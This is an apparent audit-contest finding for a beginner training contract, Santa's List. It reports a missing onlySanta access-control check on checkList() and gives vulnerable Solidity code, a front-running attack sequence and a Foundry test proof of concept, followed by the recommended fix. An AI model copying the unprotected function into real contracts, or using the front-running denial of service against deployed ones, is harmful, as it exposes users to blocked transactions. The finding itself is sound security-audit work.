First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

function checkList() should have onlySanta modifier, exposing frontrunability

0x141414

Summary

The external function checkList() is missing the onlySanta modifier. This exposes a potential frontrunnable DoS opportunity for malicious actors.

Vulnerability Details

As per the natspec @notice comment, there should be a msg.sender check using the onlySanta modifier. This permits any address to change the Status of any other address in the s_theListCheckedOnce mapping.

/*
* @notice Do a first pass on someone if they are naughty or nice.
* Only callable by santa
*
* @param person The person to check
* @param status The status of the person
*/
function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

With this public checkList() access, a malicious actor may frontrun the i_santa address's attempt to call checkTwice() by changing the Status of the person's address value in the s_theListCheckedOnce[person] mapping beforehand to a value different than that of the initial checkTwice() call attempt. This would prevent the if statement in checkTwice() to be true at runtime, resulting in a revert SantasList__SecondCheckDoesntMatchFirst().

function checkTwice(address person, Status status) external onlySanta {
if (s_theListCheckedOnce[person] != status) {
revert SantasList__SecondCheckDoesntMatchFirst();
}
s_theListCheckedTwice[person] = status;
emit CheckedTwice(person, status);
}

The calls may go like this.

  1. Santa calls contract with params checkList(user1, EXTRA_NICE) and txn is finalized.

  2. Santa attempts to call contract with params checkTwice(user1, EXTRA_NICE).

  3. Attacker frontruns txn2 with it's own contract call with params checkList(user1, NAUGHTY), slotting txn3 ahead of txn2.

  4. Attacker txn finalizes, setting s_theListCheckedOnce[user1] == NAUGHTY

  5. Santa's txn2 reverts since s_theListCheckedOnce[person] != EXTRA_NICE

PoC

Done in a forge test file, this demonstrates a non-santa's ability to frontrun a user.

function test_frontrunSantaDoS() public {
SantasList.Status userStatus = SantasList.Status.EXTRA_NICE;
​
// santa first check
vm.startPrank(santa);
santasList.checkList(user, userStatus);
vm.stopPrank();
​
// attacker frontrun santa's checkTwice txn
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
assert(
santasList.getNaughtyOrNiceOnce(user) == SantasList.Status.NAUGHTY
);
​
// santa checkTwice
vm.startPrank(santa);
vm.expectRevert(
SantasList.SantasList__SecondCheckDoesntMatchFirst.selector
);
santasList.checkTwice(user, userStatus);
}

Impact

Any (or all) users may be prevented from successfully being checked twice, and minting their tokens, potentially resulting in a denial of service.

Tools Used

Forge

Recommendations

Add the onlySanta modifier to the external function checkList().

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!